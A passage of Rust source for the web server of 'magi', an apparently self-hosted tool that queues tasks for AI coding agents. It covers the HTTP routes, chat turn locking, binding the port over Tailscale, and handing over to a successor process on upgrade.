879    /// of servable paths is the set written here. The asset route below is the
880    /// one exception and the only place in this server where a client names a
881    /// file; it is why [`valid_asset_name`] is checked before a path is built.
882    pub fn router(self) -> Router {
883        Router::new()
884            .route("/", get(index))
885            .route("/app.css", get(app_css))
886            .route("/app.js", get(app_js))
887            .route("/api/health", get(health))
888            .route("/api/loop", get(loop_get).post(loop_post))
889            .route("/api/upgrade", post(upgrade_post))
890            .route("/api/runs", get(runs_list))
891            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
892            .route("/api/runs/{id}/report", get(run_report))
893            .route("/api/runs/{id}/report.json", get(run_report_json))
894            .route("/api/runs/{id}/fold", post(run_fold))
895            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
896            .route("/api/runs/{id}/resume", post(run_resume))
897            .route("/api/queue", get(queue_list))
898            .route("/api/search", get(search_get))
899            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
900            .route("/api/stats", get(stats_get))
901            .route("/api/repos", get(repos_list))
902            .route("/api/settings", get(settings_get))
903            .route("/api/settings/roles", put(settings_put_roles))
904            .route("/api/queue/{id}/hold", post(queue_hold))
905            .route("/api/queue/{id}/release", post(queue_release))
906            .route("/api/queue/{id}/priority", post(queue_priority))
907            .route("/api/queue/{id}/edit", post(queue_edit))
908            .route("/api/queue/{id}/done", post(queue_done))
909            .route("/api/questions", get(questions_list))
910            .route("/api/questions/{id}/answer", post(question_answer))
911            .route("/api/questions/{id}/say", post(question_say))
912            .route("/api/questions/{id}/consult", post(question_consult))
913            .route("/api/questions/{id}/panel", get(question_panel))
914            // The same asset, reachable from inside the panel by its bare
915            // filename. A document served at `.../panel` resolves `shot.png`
916            // to `.../shot.png`, which is not the asset route, so a panel
917            // written the way its author was told to write it showed broken
918            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
919            // it - deliberately - so the fix is that the panel's own URL ends
920            // in a filename and its siblings are the assets.
921            .route("/api/questions/{id}/panel/index.html", get(question_panel))
922            .route("/api/questions/{id}/panel/{name}", get(question_asset))
923            .route("/api/questions/{id}/asset/{name}", get(question_asset))
924            .route("/api/notifications", get(notifications_list))
925            .route("/api/notifications/read-all", post(notifications_read_all))
926            .route("/api/notifications/{id}/read", post(notification_read))
927            .route(
928                "/api/notifications/{id}/dismiss",
929                post(notification_dismiss),
930            )
931            .route("/api/talks", get(talks_list).post(talk_post))
932            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
933            .route("/api/talks/{id}/say", post(talk_say))
934            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
935            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
936            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
937            .route("/api/talks/{id}/agent", post(talk_agent))
938            .route("/api/talks/{id}/persona", post(talk_persona))
939            .route("/api/talks/{id}/implementers", post(talk_implementers))
940            .route("/api/talks/{id}/close", post(talk_close))
941            .route("/api/talks/{id}/reopen", post(talk_reopen))
942            // `DefaultBodyLimit` is raised only on this one route - every
943            // other route on this server answers in a few kilobytes, and
944            // widening the crate-wide default for all of them just because
945            // one accepts a picture would let any other handler be handed
946            // a multi-megabyte body it never expects.
947            .route(
948                "/api/talks/{id}/attachments",
949                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
950            )
951            .route(
952                "/api/talks/{id}/attachments/{att}",
953                get(talk_attachment_get),
954            )
955            .route("/api/events", get(events))
956            .with_state(Arc::new(self))
957    }
958}
959
960/// What a chat request is told while an upgrade is parking and the request
961/// cannot be queued as a draft.
962const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
963
964/// One talk's turn slot, released on drop.
965///
966/// A guard rather than a matching `remove` at the end of the handler, because
967/// the handler has several early returns and one `await` that can be cancelled
968/// out from under it. A leaked id is a talk nobody can talk to again.
969#[derive(Debug)]
970struct TalkTurnGuard {
971    talk: String,
972    turns: Arc<Mutex<TalkTurns>>,
973    released: bool,
974    /// The cross-process half of the slot; dropped with the guard.
975    lease: Option<crate::talk::TurnLease>,
976}
977
978/// In-memory turn ownership plus the queue generation observed by a drainer.
979///
980/// The generation changes only after a durable queued draft is written and its
981/// caller finds the turn busy. That lets the loop run filesystem work outside
982/// this mutex while still making the final empty-check/release atomic with a
983/// concurrent queue handoff.
984#[derive(Debug, Default)]
985struct TalkTurns {
986    live: HashSet<String>,
987    queued: HashMap<String, u64>,
988    /// Set while an upgrade hand-over is parking: no turn may start, so the
989    /// set in `live` can only shrink. Cleared again if the hand-over ends
990    /// without exiting the process.
991    parking: bool,
992}
993
994/// The atomic initial-state decision made by
995/// [`Ui::begin_talk_turn_unless_pending`].
996enum TalkTurnStart {
997    Claimed(TalkTurnGuard),
998    Busy,
999    /// Another process holds the turn lease. Unlike `Busy` there is no local
1000    /// drain loop that would answer a queued draft, so the caller refuses.
1001    Foreign,
1002    Pending,
1003}
1004
1005impl TalkTurnGuard {
1006    /// Does this guard still own the on-disk lease? A transient failure to
1007    /// check counts as owning: the next beat decides. A guard that lost it
1008    /// must not start another turn on the same session.
1009    fn owns(&self) -> bool {
1010        self.lease
1011            .as_ref()
1012            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1013    }
1014
1015    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1016    /// than the lease's TTL still reads as held to other processes.
1017    async fn respond(
1018        &self,
1019        talk: &mut Talk,
1020        talks: &Talks,
1021        cfg: &Config,
1022        text: &str,
1023    ) -> anyhow::Result<()> {
1024        let lease = self
1025            .lease
1026            .as_ref()
1027            .context("the turn guard no longer holds its lease")?;
1028        talk::respond(lease, talk, talks, cfg, text).await
1029    }
1030
1031    /// Release while the caller already holds the claim mutex, closing the
1032    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1033    fn release(mut self, live: &mut TalkTurns) {
1034        // The on-disk lease goes first: while `live` still names the talk, no
1035        // local claim can start, so nobody observes the slot free but the
1036        // lease held.
1037        self.lease = None;
1038        live.live.remove(&self.talk);
1039        live.queued.remove(&self.talk);
1040        self.released = true;
1041    }
1042}
1043
1044impl Drop for TalkTurnGuard {
1045    fn drop(&mut self) {
1046        if self.released {
1047            return;
1048        }
1049        // Lease first, then the in-process slot (see `release`).
1050        drop(self.lease.take());
1051        if let Ok(mut live) = self.turns.lock() {
1052            live.live.remove(&self.talk);
1053            live.queued.remove(&self.talk);
1054        }
1055    }
1056}
1057
1058/// Releases a resume claim, so a run is resumable again after the attempt.
1059struct ResumeGuard {
1060    run: String,
1061    resuming: Arc<Mutex<HashSet<String>>>,
1062}
1063
1064impl Drop for ResumeGuard {
1065    fn drop(&mut self) {
1066        if let Ok(mut live) = self.resuming.lock() {
1067            live.remove(&self.run);
1068        }
1069    }
1070}
1071
1072/// Bind the port, waiting briefly for a predecessor to let go of it.
1073///
1074/// A restart hands the address from one process to the next, and the old one
1075/// holds its listener until it unwinds. A single `bind` can lose that race,
1076/// and for a restart triggered from a phone that means the deck never comes
1077/// back with no terminal around to say why.
1078///
1079/// Bounded, and only for the one error a wait can fix: anything else fails at
1080/// once, because retrying it would turn a clear message into a silence.
1081async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1082    const WINDOW: Duration = Duration::from_secs(10);
1083    const GAP: Duration = Duration::from_millis(250);
1084
1085    let deadline = std::time::Instant::now() + WINDOW;
1086    let mut said = false;
1087    loop {
1088        match tokio::net::TcpListener::bind(socket).await {
1089            Ok(listener) => return Ok(listener),
1090            Err(e)
1091                if e.kind() == std::io::ErrorKind::AddrInUse
1092                    && std::time::Instant::now() < deadline =>
1093            {
1094                if !said {
1095                    said = true;
1096                    tracing::info!(
1097                        "{socket} is still held - waiting up to {}s for it, \
1098                         which is what a restart looks like from here",
1099                        WINDOW.as_secs()
1100                    );
1101                }
1102                tokio::time::sleep(GAP).await;
1103            }
1104            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1105        }
1106    }
1107}
1108
1109/// Signalled when an upgrade has replaced the binary and the successor should
1110/// take this address over. One per process: there is one address to hand on.
1111static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1112
1113/// Set to `1` on the successor when the loop was running at handover.
1114const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1115
1116/// Whether the environment value asks for the loop to be resumed.
1117fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1118    value.is_some_and(|v| v == "1")
1119}
1120
1121/// Start this binary again with the same arguments, detached.
1122///
1123/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1124/// so the address is already free when the successor binds it. The first
1125/// attempt at this spawned the successor two hundred milliseconds before
1126/// exiting instead, and the released binary - which has no bind retry - died
1127/// on "address already in use" with its stdio sent to null, so the deck
1128/// simply never came back.
1129///
1130/// Detached and without inherited stdio: the successor has to outlive this
1131/// process, and must not hold open a pipe a terminal is waiting on.
1132///
1133/// `resume` tells the successor to start the queue loop, through
1134/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1135/// process inherited from its own predecessor cannot leak into a generation
1136/// that should not resume. The successor's own environment keeps the variable
1137/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1138///
1139/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1140/// than sent to null: a supervisor's redirection only ever held the first
1141/// generation's descriptors, so every later generation logged nowhere. The
1142/// pid of the child is returned so the handover log can name it.
1143fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1144    let exe = std::env::current_exe().context("find this binary")?;
1145    let args: Vec<String> = std::env::args().skip(1).collect();
1146    updater::log_step(
1147        home,
1148        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1149    );
1150    let log_path = home.join(WEB_LOG);
1151    let open_log = || {
1152        std::fs::create_dir_all(home)?;
1153        std::fs::OpenOptions::new()
1154            .create(true)
1155            .append(true)
1156            .open(&log_path)
1157    };
1158    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1159        Ok(pair) => (
1160            std::process::Stdio::from(pair.0),
1161            std::process::Stdio::from(pair.1),
1162        ),
1163        Err(e) => {
1164            updater::log_warn(
1165                home,
1166                &format!(
1167                    "could not open {}: {e}; the successor logs nowhere",
1168                    log_path.display()
1169                ),
1170            );
1171            (std::process::Stdio::null(), std::process::Stdio::null())
1172        }
1173    };
1174
1175    let mut cmd = std::process::Command::new(&exe);
1176    if resume {
1177        cmd.env(RESUME_LOOP_ENV, "1");
1178    } else {
1179        cmd.env_remove(RESUME_LOOP_ENV);
1180    }
1181    cmd.args(&args)
1182        .stdin(std::process::Stdio::null())
1183        .stdout(out)
1184        .stderr(err);
1185    #[cfg(windows)]
1186    {
1187        use std::os::windows::process::CommandExt as _;
1188        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1189        // and Ctrl-C in the old terminal must not reach the successor.
1190        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1191    }
1192    let child = cmd.spawn().context("start the successor")?;
1193    Ok(child.id())
1194}
1195
1196/// File under `<home>` the successor's output is appended to.
1197const WEB_LOG: &str = "web.log";
1198
1199/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1200/// stored by an earlier `notify_one` is consumed by the first poll, so the
1201/// signal is never missed and never wakes a second time.
1202async fn wait_for_handover(signal: &Notify) {
1203    signal.notified().await;
1204}
1205
1206/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1207///
1208/// The server itself owns no state, so nothing here is graceful for the HTTP
1209/// side's sake: the connections go with the dropped listener, which costs a
1210/// phone one change-stream reconnection it was going to make anyway.
1211///
1212/// The signal branch is not optional now that the loop lives in this process.
1213/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1214/// handler is what stops the signal terminating the process - so without a
1215/// branch of our own, the first Ctrl-C after the operator started the loop
1216/// would stop the loop and leave `magi web` listening forever, unkillable
1217/// from the terminal it was started in.
1218///
1219/// What it waits for is the loop, not the sockets. A run in flight is
1220/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1221/// mid-node leaves worktrees, branches and agent sessions behind and throws
1222/// away every agent call already paid for.
1223///
1224/// The server therefore runs on a task of its own rather than inside the
1225/// `select!`: an arm that resolves *drops* the futures the other arms were
1226/// polling, so serving the address from inside one would take the deck down
1227/// at the instant the handover began and keep it down for the whole park -
1228/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1229/// owns the order.
1230pub async fn serve(opts: Opts) -> Result<()> {
1231    let (addr, warning) = resolve_bind(&opts.bind);
1232    if let Some(warning) = warning {
1233        tracing::warn!("{warning}");
1234    }
1235
1236    // Process-global, and therefore set exactly once, here: the report route
1237    // must never emit escape sequences into a browser, and toggling the flag
1238    // per request would race with a concurrent request rendering its own
1239    // report. Startup is the only moment at which no request can observe the
1240    // change. Nothing in the server turns colour back on.
1241    report::set_color(false);
1242
1243    let repo = normalize_default_repo(opts.repo).await;
1244    let ui = Ui::open(repo).with_merge(opts.merge);
1245    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1246    // home to bracket the parking and restarting stages, and `run_update_recheck`
1247    // needs both it and the repo, and by then there is no `ui` left to read
1248    // them from.
1249    let home = ui.home.clone();
1250    let repo = ui.repo.clone();
1251    // Settles a progress record a predecessor left non-terminal - either this
1252    // *is* the successor `spawn_successor` started, or the previous process
1253    // died mid-handover. Before the router starts answering, so the very
1254    // first `/api/health` a phone gets from this process already reflects it.
1255    updater::reconcile_after_restart(&home);
1256    updater::log_step(
1257        &home,
1258        &format!(
1259            "web process started (version {}); handover log {}, successor output {}",
1260            env!("CARGO_PKG_VERSION"),
1261            updater::log_path(&home).display(),
1262            home.join(WEB_LOG).display()
1263        ),
1264    );
1265    updater::spawn_watchdog(home.clone());
1266    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1267    // `spawn_update_check` does at startup only ever runs once: after that,
1268    // `/api/health`'s `update` field - and the phone's "Update & restart"
1269    // button, which reads the very same cache - would stay frozen on
1270    // whatever that single check found, no matter how many releases ship
1271    // afterwards. This keeps it current instead. Detached: it must keep
1272    // going for as long as this process serves, `serve` has nothing to await
1273    // it for, and it exits on its own the moment the process does.
1274    tokio::spawn(run_update_recheck(repo, home.clone()));
1275    let looping = ui.looping();
1276    let turns = ui.turns();
1277    let talk_store = ui.talks.clone();
1278    let socket = SocketAddr::new(addr, opts.port);
1279    let listener = bind_waiting(socket).await?;
1280    let url = format!("http://{addr}:{}", opts.port);
1281    tracing::info!(
1282        "magi web UI on {url} - there is no authentication, so anyone who can \
1283         reach this address can file and hold tasks: the tailnet is the \
1284         security boundary"
1285    );
1286    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1287        tracing::info!("resumed the loop the predecessor was running");
1288    } else {
1289        tracing::info!(
1290            "the queue loop is not running yet - start it from the UI, which is \
1291             the whole reason this process can: nothing in the queue moves until \
1292             something is running the loop"
1293        );
1294    }
1295    if opts.open {
1296        // The URL alone on stdout, for a caller that wants to open it. magi
1297        // does not spawn a browser: on the machine this usually runs on there
1298        // is no display, and a failed launch would be the only output.
1299        println!("{url}");
1300    }
1301
1302    // On its own task, so nothing this function awaits can stop the address
1303    // being answered. `hand_over` is where it is given up.
1304    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1305    let interrupted = async {
1306        if tokio::signal::ctrl_c().await.is_err() {
1307            // No handler on this platform, so there is no signal to act on.
1308            // Never resolving is the safe answer: a failed registration must
1309            // not masquerade as the operator asking for a shutdown and take
1310            // the UI down on startup.
1311            std::future::pending::<()>().await;
1312        }
1313    };
1314    let handover = wait_for_handover(&HANDOVER);
1315    let outcome = tokio::select! {
1316        joined = &mut served => match joined {
1317            Ok(outcome) => outcome.context("serve the web UI"),
1318            Err(e) => Err(e).context("the task serving the web UI ended"),
1319        },
1320        () = interrupted => {
1321            tracing::info!("shutting down the web UI");
1322            finish_loop(&home, &looping, None).await;
1323            Ok(())
1324        }
1325        () = handover => {
1326            updater::log_step(&home, "serve: the select! woke on the handover signal");
1327            let successor_home = home.clone();
1328            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1329            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1330                spawn_successor(&successor_home, resume)
1331            })
1332            .await
1333        }
1334    };
1335    updater::log_step(
1336        &home,
1337        &match &outcome {
1338            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1339            Err(e) => format!("serve: returning an error: {e:#}"),
1340        },
1341    );
1342    outcome
1343}
1344
1345/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1346/// process's own working directory is not a git checkout at all - the
1347/// checkout [`repos::discover_verified`] finds instead.
1348///
1349/// Only the unmodified default is ever replaced: an operator who named a
1350/// directory outright, git checkout or not, gets exactly that directory
1351/// back, and the same story downstream (a talk whose briefing embeds a
1352/// non-git directory, and an agent that has to ask the operator where the
1353/// real repository is) that has always told them so - substituting a guess
1354/// for an explicit answer would be a second, silent opinion about what they
1355/// meant. There is no instruction or task text yet to match against this
1356/// early, so only [`repos::discover_verified`]'s own-repository tier can
1357/// ever settle this - the hint tier never fires here.
1358///
1359/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1360/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1361/// or a git installation that is broken in exactly the way that made the
1362/// original `canonical` check above fail too - so it is re-checked with
1363/// `git::toplevel` before it is ever used in place of the operator's own
1364/// directory.
1365async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1366    if repo != FsPath::new(".") {
1367        return repo;
1368    }
1369    let Ok(canonical) = repo.canonicalize() else {
1370        return repo;
1371    };
1372    if git::toplevel(&canonical).await.is_ok() {
1373        return repo;
1374    }
1375    let Some(home) = dirs::home_dir() else {
1376        return repo;
1377    };
1378    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1379        Some(found) => {
1380            tracing::info!(
1381                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1382                canonical.display(),
1383                found.path.display(),
1384                found.reason,
1385            );
1386            found.path
1387        }
1388        None => repo,
1389    }
1390}
1391
1392/// Park the loop, then release the address, then start the successor.
1393///
1394/// The order is the whole function, and each step is answerable to a failure
1395/// this arrangement has already had:
1396///
1397/// 1. **Park.** The loop was asked to stop by the request that replaced the
1398///    binary, and this waits for it, because killing the graph mid-node
1399///    leaves worktrees, branches and agent sessions behind and throws away
1400///    every agent call already paid for. It takes as long as the node in
1401///    flight - up to `timeout_implement`, an hour by default - and the deck
1402///    goes on answering for all of it, which is the reason `served` is a task
1403///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1404///    first upgrade from a phone that caught a run mid-implement dropped the
1405///    listener the moment it was asked to, and the operator got
1406///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1407///    waiting on and nothing but a process list to say the run was alive.
1408/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1409///    the join resolves only once the task's future has been dropped, so the
1410///    listener is released before the next line. Connections it already
1411///    accepted are served on tasks of their own and wind down asynchronously;
1412///    on some platforms (macOS) they can briefly keep the address busy, and
1413///    the successor's `bind_waiting` absorbs that.
1414/// 3. **Start the successor**, which binds the address this process has just
1415///    let go of - see [`spawn_successor`] for what the other order cost.
1416///
1417/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1418/// reporting, not part of the design: it exists so `/api/health` can say
1419/// "parking, waiting on run X" instead of leaving the phone to guess why the
1420/// deck went quiet, and dropping it would not change the order above.
1421async fn hand_over(
1422    home: &FsPath,
1423    looping: &Mutex<LoopState>,
1424    turns: &Arc<Mutex<TalkTurns>>,
1425    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1426    served: tokio::task::JoinHandle<std::io::Result<()>>,
1427    successor: impl FnOnce(bool) -> Result<u32>,
1428) -> Result<()> {
1429    updater::log_step(home, "hand_over: entered; writing the parking stage");
1430    // The lease and the stage are written as one step, so a reader that sees
1431    // `parking` also finds the proof that hand_over is alive. Dropped on
1432    // every way out.
1433    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1434    if !recorded {
1435        updater::log_warn(
1436            home,
1437            "hand_over: upgrade.json is unreadable; no parking stage",
1438        );
1439    }
1440    // Chat stays open while the loop parks: nothing restarts until it ends,
1441    // and the park can last as long as a node. Only once it is done is the
1442    // slot closed, right before the restart; a turn started earlier is in
1443    // `live` by then, so `finish_talks` waits for it.
1444    finish_loop(home, looping, Some(&mut lease)).await;
1445    let parking = ParkingTurns::begin(turns);
1446    let talks_done = finish_talks(home, turns, talk_wait);
1447    tokio::pin!(talks_done);
1448    let mut beat = tokio::time::interval(LEASE_BEAT);
1449    let (abandoned, waited_for) = loop {
1450        tokio::select! {
1451            left = &mut talks_done => break left,
1452            _ = beat.tick() => lease.beat(),
1453        }
1454    };
1455    drop(lease);
1456    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1457    served.abort();
1458    let _ = served.await;
1459    updater::log_step(home, "hand_over: listener released");
1460    // Read last: the deck answers for the whole park, so an operator's stop
1461    // during the wait must still be honoured by the successor.
1462    let resume = lock_or_recover(looping).resume_after_handover;
1463    match updater::read_progress(home) {
1464        Some(mut progress) => {
1465            progress.advance(updater::Stage::Restarting);
1466            if !abandoned.is_empty() {
1467                progress.detail = Some(format!(
1468                    "handed over while {} still running after {} s",
1469                    updater::talks_phrase(&abandoned),
1470                    waited_for.as_secs()
1471                ));
1472            }
1473            updater::write_progress_logged(home, &progress);
1474        }
1475        None => updater::log_warn(
1476            home,
1477            "hand_over: upgrade.json is unreadable; no restarting stage",
1478        ),
1479    }
1480    updater::log_step(
1481        home,
1482        &format!("hand_over: starting the successor (resume={resume})"),
1483    );
1484    drop(parking);
1485    match successor(resume) {
1486        Ok(pid) => {
1487            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1488            Ok(())
1489        }
1490        Err(e) => {
1491            updater::log_warn(
1492                home,
1493                &format!("hand_over: the successor did not start: {e:#}"),
1494            );
1495            Err(e)
1496        }
1497    }
1498}
1499
1500/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1501/// a turn that runs its full timeout still needs a moment to record its answer.
1502const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1503
1504/// How often the park looks at the chat turns still running.
1505const TALK_POLL: Duration = Duration::from_millis(250);
1506
1507/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1508/// grace. Beyond it a stuck turn must not block the hand-over.
1509fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1510    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1511}
1512
1513/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1514/// the repositories those talks run in (each turn uses its own talk's
1515/// configuration), plus the grace. A talk or config that cannot be read counts
1516/// with the default timeout.
1517fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1518    let default = Config::default().graph.timeout_talk;
1519    let longest = ids
1520        .iter()
1521        .map(|id| {
1522            talks
1523                .get(id)
1524                .ok()
1525                .and_then(|t| Config::discover(&t.repo, None).ok())
1526                .map_or(default, |(c, _)| c.graph.timeout_talk)
1527        })
1528        .max()
1529        .unwrap_or(default);
1530    talk_wait_bound(longest)
1531}
1532
1533/// Stops new chat turns for as long as it lives, so the hand-over only ever
1534/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1535/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1536struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1537
1538impl ParkingTurns {
1539    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1540        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1541        Self(Arc::clone(turns))
1542    }
1543}
1544
1545impl Drop for ParkingTurns {
1546    fn drop(&mut self) {
1547        self.0
1548            .lock()
1549            .unwrap_or_else(PoisonError::into_inner)
1550            .parking = false;
1551    }
1552}
1553
1554/// Wait until no chat turn is running in this process, for at most the longest
1555/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1556/// running when the bound was hit (empty when the turns finished) with the
1557/// bound that applied, after saying so in the upgrade log.
1558async fn finish_talks(
1559    home: &FsPath,
1560    turns: &Mutex<TalkTurns>,
1561    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1562) -> (Vec<String>, Duration) {
1563    let running = || {
1564        let mut ids: Vec<String> = turns
1565            .lock()
1566            .unwrap_or_else(PoisonError::into_inner)
1567            .live
1568            .iter()
1569            .cloned()
1570            .collect();
1571        ids.sort();
1572        ids
1573    };
1574    let started = std::time::Instant::now();
1575    let mut seen = Vec::new();
1576    let mut bound = Duration::ZERO;
1577    loop {
1578        let ids = running();
1579        if ids != seen {
1580            bound = bound.max(bound_for(&ids));
1581            if ids.is_empty() {
1582                updater::log_step(home, "finish_talks: no chat turn is running");
1583            } else {
1584                updater::log_step(
1585                    home,
1586                    &format!(
1587                        "finish_talks: waiting for {} to finish",
1588                        updater::talks_phrase(&ids)
1589                    ),
1590                );
1591            }
1592            updater::set_parked_talks(home, &ids);
1593            seen = ids;
1594        }
1595        if seen.is_empty() {
1596            return (Vec::new(), bound);
1597        }
1598        if started.elapsed() >= bound {
1599            updater::log_warn(
1600                home,
1601                &format!(
1602                    "finish_talks: {} still running after {} s; handing over anyway",
1603                    updater::talks_phrase(&seen),
1604                    bound.as_secs()
1605                ),
1606            );
1607            return (seen, bound);
1608        }
1609        tokio::time::sleep(TALK_POLL).await;
1610    }
1611}
1612
1613/// How often `finish_loop` renews the handover lease; well inside
1614/// [`updater::LEASE_TTL_SECS`].
1615const LEASE_BEAT: Duration = Duration::from_secs(20);
1616
1617/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1618///
1619/// The wait is the whole function. Returning from `serve` while a graph is
1620/// mid-node ends the process with worktrees, branches and agent sessions left
1621/// behind and every agent call in that run paid for and thrown away, which is
1622/// exactly what the daemon's own shutdown refuses to do.
1623async fn finish_loop(
1624    home: &FsPath,
1625    state: &Mutex<LoopState>,
1626    mut lease: Option<&mut updater::LeaseGuard>,
1627) {
1628    let live = lock_or_recover(state).live.take();
1629    let Some(live) = live else {
1630        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1631        return;
1632    };
1633    live.stop.stop();
1634    lock_or_recover(state).rev += 1;
1635    updater::log_step(
1636        home,
1637        "finish_loop: waiting for the loop to finish the run in flight",
1638    );
1639    let waited = std::time::Instant::now();
1640    // The task records its own outcome and logs it, so there is nothing to do
1641    // with a join error here but stop waiting.
1642    let mut handle = live.handle;
1643    let mut beat = tokio::time::interval(LEASE_BEAT);
1644    loop {
1645        tokio::select! {
1646            _ = &mut handle => break,
1647            _ = beat.tick() => {
1648                if let Some(lease) = lease.as_deref_mut() {
1649                    lease.beat();
1650                }
1651            }
1652        }
1653    }
1654    updater::log_step(
1655        home,
1656        &format!(
1657            "finish_loop: the loop ended after {:.1}s",
1658            waited.elapsed().as_secs_f32()
1659        ),
1660    );
1661}
1662
1663/// Resolve `--bind` to an address, plus a warning when the answer is not what
1664/// the operator asked for.
1665///
1666/// Split out from [`serve`] because the interesting half - deciding whether
1667/// Tailscale gave us something usable - is testable without opening a socket.
1668pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1669    match bind {
1670        Bind::Addr(addr) => (*addr, None),
1671        Bind::Auto => match tailscale_ip() {
1672            Ok(ip) => (IpAddr::V4(ip), None),
1673            Err(why) => (
1674                IpAddr::V4(Ipv4Addr::LOCALHOST),
1675                Some(format!(
1676                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1677                     local-only and a phone cannot reach it; start Tailscale \
1678                     or pass --bind <addr>"
1679                )),
1680            ),
1681        },
1682    }
1683}
1684
1685/// This machine's Tailscale IPv4, or why there is not one.
1686///
1687/// `tailscale ip -4` is a local call against the running daemon and returns in
1688/// milliseconds, so it is fine to make it synchronously before the server
1689/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1690/// CGNAT block Tailscale assigns from, and anything else on that output would
1691/// be a different tool answering.
1692fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1693    let out = std::process::Command::new("tailscale")
1694        .args(["ip", "-4"])
1695        .quiet()
1696        .output()
1697        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1698    if !out.status.success() {
1699        let why = String::from_utf8_lossy(&out.stderr);
1700        let why = why.trim();
1701        return Err(format!(
1702            "`tailscale ip -4` failed ({}){}",
1703            out.status,
1704            if why.is_empty() {
1705                String::new()
1706            } else {
1707                format!(": {why}")
1708            }
1709        ));
1710    }
1711    String::from_utf8_lossy(&out.stdout)
1712        .lines()
1713        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1714        .find(is_tailnet)
1715        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1716}
1717
1718/// Is this address in the CGNAT block Tailscale hands out from?
1719fn is_tailnet(ip: &Ipv4Addr) -> bool {
1720    let o = ip.octets();
1721    o[0] == 100 && (64..=127).contains(&o[1])
1722}
1723
1724/// What every handler returns. Spelled out because `Result` in this crate is
1725/// `anyhow::Result`, and a handler's error is a status code as much as a
1726/// message.
1727type ApiResult<T> = std::result::Result<T, ApiError>;
1728
1729/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1730#[derive(Debug)]
1731struct ApiError {
1732    status: StatusCode,
1733    message: String,
1734}
1735
1736impl ApiError {
1737    /// The client asked for something malformed.
1738    fn bad_request(message: impl Into<String>) -> Self {
1739        Self {
1740            status: StatusCode::BAD_REQUEST,
1741            message: message.into(),
1742        }
1743    }
1744
1745    /// No such run or task.
1746    fn not_found(message: impl Into<String>) -> Self {
1747        Self {
1748            status: StatusCode::NOT_FOUND,
1749            message: message.into(),
1750        }
1751    }
1752
